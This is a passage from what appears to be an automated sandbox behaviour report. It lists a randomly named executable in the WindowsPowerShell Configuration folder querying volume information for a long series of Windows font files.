Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
